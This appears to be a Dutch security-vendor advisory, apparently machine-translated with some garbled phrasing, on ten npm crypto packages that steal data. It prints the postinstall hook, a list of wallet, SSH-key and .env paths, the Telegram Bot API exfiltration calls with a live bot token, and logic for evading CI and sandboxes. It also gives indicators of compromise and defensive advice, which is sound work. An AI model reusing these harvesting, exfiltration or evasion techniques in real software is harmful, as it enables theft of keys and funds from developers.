SeedSweep: Tien kwaadaardige npm-cryptopakketten

SeedSweep: Tien cryptogerelateerde npm-pakketten die alleen draaien als niemand kijkt

TL; DR

Op 9 juni 2026 wordt één npm-uitgeversaccount verwijderd. aicrypto-xzggg, verzonden tien pakketten met namen die doen denken aan crypto en Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9en nog zes.

Elk pakket voert dezelfde payload uit vanaf een postinstall hook. Bij de installatie controleert het of het binnen CI of in een sandbox draait. Zo niet, dan leest het de keystores van de wallet, seed-phrase-bestanden, SSH-sleutels en .env verzamelt bestanden uit zes verschillende blockchain-ecosystemen en stuurt deze door naar een Telegram-bot.

De enige indicator waar een verdediger direct naar kan zoeken, is de Telegram-bot-ID. 8227918239.

ernst: kritisch — directe diefstal van ondertekeningssleutels en herstelzinnen van ontwikkelaarswerkstations.

De aanval: hoe werkt het?

De pakketten presenteren zichzelf als hulpprogramma's voor blockchain-ontwikkelaars. package.json is minimaal en verwijst de installatiecyclus naar een script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js is een eenregelige tussenlaag die de werkelijke lading laadt: require(“../src/index.js”). Omdat na installatie wordt automatisch uitgevoerd tijdens npm installerenEr is geen code-import door de ontwikkelaar vereist; het plaatsen van het pakket in de afhankelijkheidsstructuur is voldoende om het uit te voeren.

De dodelijke keten binnenin bron/index.js bestaat uit vier stappen:

  1. Omgevingscontrole. Een controlefunctie bepaalt of de host zich gedraagt ​​als een build-agent of een analyse-sandbox.
  2. Uitstellen. De uitvoering wordt uitgesteld achter een setTime-out van ongeveer 7.4 seconden.
  3. Verzameling. Een vaste lijst met bestandspaden voor wallets, sleutels en geheime bestanden wordt doorlopen; bestaande bestanden worden in een wachtrij geplaatst.
  4. Exfiltratie. In de wachtrij geplaatste bestanden worden naar een Telegram-bot gestuurd, voorafgegaan door een samenvattend bericht.

De lijst met doelcollecties omvat zes ketens plus algemene ontwikkelaarsgeheimen. Ingekort:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

In totaal eenentwintig paden. Directory-items zoals ~/.ethereum/keystore worden uitgepakt en elk bestand daarin wordt in de wachtrij geplaatst. De data-exfiltratie maakt rechtstreeks gebruik van de Telegram Bot API — een sendMessage een oproep met een host en een bestandsoverzicht, vervolgens een document verzenden Uploaden in meerdere delen voor elk bestand:

tekst

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Het samenvattende bericht dat de code genereert, begint met de letterlijke tekenreeks CRYPTO STEALERgevolgd door de hostnaam, gebruikersnaam, naam van het oorspronkelijke pakket, aantal bestanden en tijdstempel.

Wat is hier nieuw?

Het verschil zit hem niet in het diefstalmechanisme — Telegram-gebaseerde data-exfiltratie van npm. na installatie hooks is een veelbewandelde route. Het is de executiepoort. Voordat er iets gebeurt, roept de payload een functie aan die true retourneert wanneer de host lijkt op een CI-runner of sandbox, en vroegtijdig terugkeert wanneer dat het geval is:

tekst

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

De reguliere expressie voor de container-ID is de belangrijkste clausule: een hostnaam van 12 hexadecimale tekens is de standaardvorm die Docker toewijst aan een container. houderDe payload interpreteert "mijn hostnaam lijkt op een Docker-container" dus als een reden om inactief te blijven. In combinatie met de vertraging van zeven seconden is het ontwerp erop gericht om op het echte werkstation van een ontwikkelaar te draaien en stil te blijven op plekken die op geautomatiseerde analyses lijken. Deze poort onderdrukte signalen van dynamische analyses en zorgde ervoor dat de statische data-exfiltratie als primair bewijsmateriaal diende.

Timeline

Datum (UTC) Evenementen
2026-06-09 ~02:48 Eerste pakketten in het cluster gemarkeerd bij publicatie (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Leden met een hogere versie hebben dit aangegeven (ethereum-kit-9 bij 1.25.36, wallet-sdk-9 op 3.7.73)
2026-06-09 ~03:58–03:59 Definitieve leden gemarkeerd (defi-tools-39 bij 4.26.29, swap-sdk-87 bij 4.63.78, farming-tools-12 op 4.68.54)
2026-06-09 Alle tien zijn geclassificeerd als kwaadaardig en gemeld voor verwijdering uit het register.

Alle tien doken binnen ongeveer zeventig minuten op, consistent met één enkel, vooraf vastgelegd publicatiescript van één account.

Indicatoren van compromis

Netwerk- en gedragsindicatoren (gastheer ontdaan van giftanden):

Indicator Waarde
Exfil-eindpunt api[.]telegram[.]org (Telegram Bot API)
Telegram bot-ID 8227918239
Bot-token 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram chat-ID 6433587894
Haak installeren postinstallscripts/postinstall.jssrc/index.js
Markeerlijn CRYPTO STEALER in het samengestelde samenvattende bericht
Uitgever aicrypto-xzggg (vermelde e-mail) vipsyria88@gmail[.]com(niet geverifieerd)

Pakketten en versies, elk met de SHA-256-hash ervan. bron/index.js payload (de payloads zijn functioneel identiek en verschillen alleen in het ingebedde pakketnaamlabel, dus elke hash is uniek):

html
Pakket Versie SHA-256 van src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Een eenvoudige zoekopdracht: doorzoek installatielogboeken en lockfiles op een van de tien namen, en doorzoek uitgaand verkeer naar verbindingen met de Telegram Bot API vanaf build- of ontwikkelaarshosts die deze API verder niet gebruiken.

Toeschrijving en geobserveerd gedrag

Alle tien pakketten werden door één account gepubliceerd. aicrypto-xzggg, wiens opgegeven e-mailadres is vipsyria88@gmail[.]comZowel het e-mailadres als de link naar de versiebeheerdatabase zijn niet geverifieerd in de registermetadata, en het account heeft een zeer negatieve reputatiescore. We hebben niet kunnen vaststellen wie het account beheert.

Twee details verdienen het om losgekoppeld te worden van elke identiteitsclaim. Ten eerste, de package.json auteur veldlezingen Alex Smith op elk pakket, terwijl het daadwerkelijke publicatieaccount is aicrypto-xzgggHet auteursveld is zelfverklaarde metadata en bewijst geen auteurschap. Ten tweede lopen de versienummers sterk uiteen — sommige leden bevinden zich op 1.0.0, anderen bij 4.68.54 — wat consistent is met het hergebruiken van één enkele payload voor nieuwe pakketnamen in plaats van het bijhouden van een echte releasegeschiedenis.

Het gedrag is uniform binnen het cluster: dezelfde lijst met doelpaden, dezelfde Telegram-bot-ID en chat-ID, dezelfde omgevingsgateway, hetzelfde CRYPTO STEALER marker. Die uniformiteit is de sterkste schakel tussen de pakketten. Het is een signaal van dezelfde operator, geen identiteit.

Het risico is concreet. Een ontwikkelaar die een van deze pakketten installeert op een werkstation met een softwarewallet, een seed-phrase-bestand of een SSH-sleutel, ziet deze bestanden binnen enkele seconden uitgelezen en van de host verzonden worden. Herstelzinnen en ondertekeningssleutels verlopen niet zoals een sessietoken; zodra een mnemonic.txt of een Solana id.json Als de machine wordt verlaten, lopen de daarin beheerde fondsen risico totdat ze worden overgeplaatst. Dezelfde run legt ook vast... .env bestanden die doorgaans API-sleutels en databasegegevens bevatten.

Twee trends liggen ten grondslag aan deze cluster. De eerste is het voortdurende gebruik van crypto- en Web3-gerelateerde namen om een ​​specifiek publiek aan te spreken: ontwikkelaars die hun wallets en keys op dezelfde machine bewaren als waarop ze dependencies installeren. De tweede is de toenemende mate waarin sandbox-ontwijking mogelijk is in installatiepayloads. Een controle die CI-omgevingsvariabelen, gebruikersnamen van runners en de structuur van een Docker-container-ID-hostnaam controleert, is een bewuste poging om zich tijdens de analyse anders te gedragen dan op een echt werkstation, en legt de lat hoger voor puur dynamische detectie.

Voor verdedigers:

Installeren met scripts standaard uitgeschakeld. npm install –ignore-scripts, of instellen negeer-scripts=true in .npmrc, voorkomt na installatie uitvoering; schakel scripts alleen in voor de specifieke afhankelijkheden die ze daadwerkelijk nodig hebben.

Houd wallets en ondertekeningssleutels buiten de build- en ontwikkelmachines. Gebruik een hardwarewallet of een speciale, onafhankelijke ondertekeningshost.

Traktatie .envKeystores en seed-phrase-bestanden zijn onze kroonjuwelen. Ze mogen nooit in een map staan ​​die ook een sleutelkluis is. npm installeren werkende boom.

Zoek naar uitgaande verbindingen met de Telegram Bot API vanuit CI- en ontwikkelomgevingen. De meeste buildomgevingen maken hier geen gebruik van; een omgeving die dit plotseling wel doet, direct na een installatie, is het onderzoeken waard.

Pin en controleer afhankelijkheden. Een gloednieuw pakket met een generieke cryptografische naam, een na installatie hook, en geen enkele repositorylink rechtvaardigt een controle voordat deze in een lockfile terechtkomt.

De clausule die het omzeilen van de container-ID mogelijk maakt, dient ook als waarschuwing voor analisten: een payload die tijdens de installatie inactief blijft in een sandbox is niet onschadelijk, maar selectief. Statische controle van het installatiepad blijft de meest betrouwbare manier om te zien wat dynamische uitvoering mogelijk niet laat zien.

Referenties

npm install documentatie — lifecycle scripts en - Negeer-scripts— handleiding voor het uitschakelen van automatische installatie hooks. 

sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Maak nu een gratis account aan.
Geen kredietkaart nodig.

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite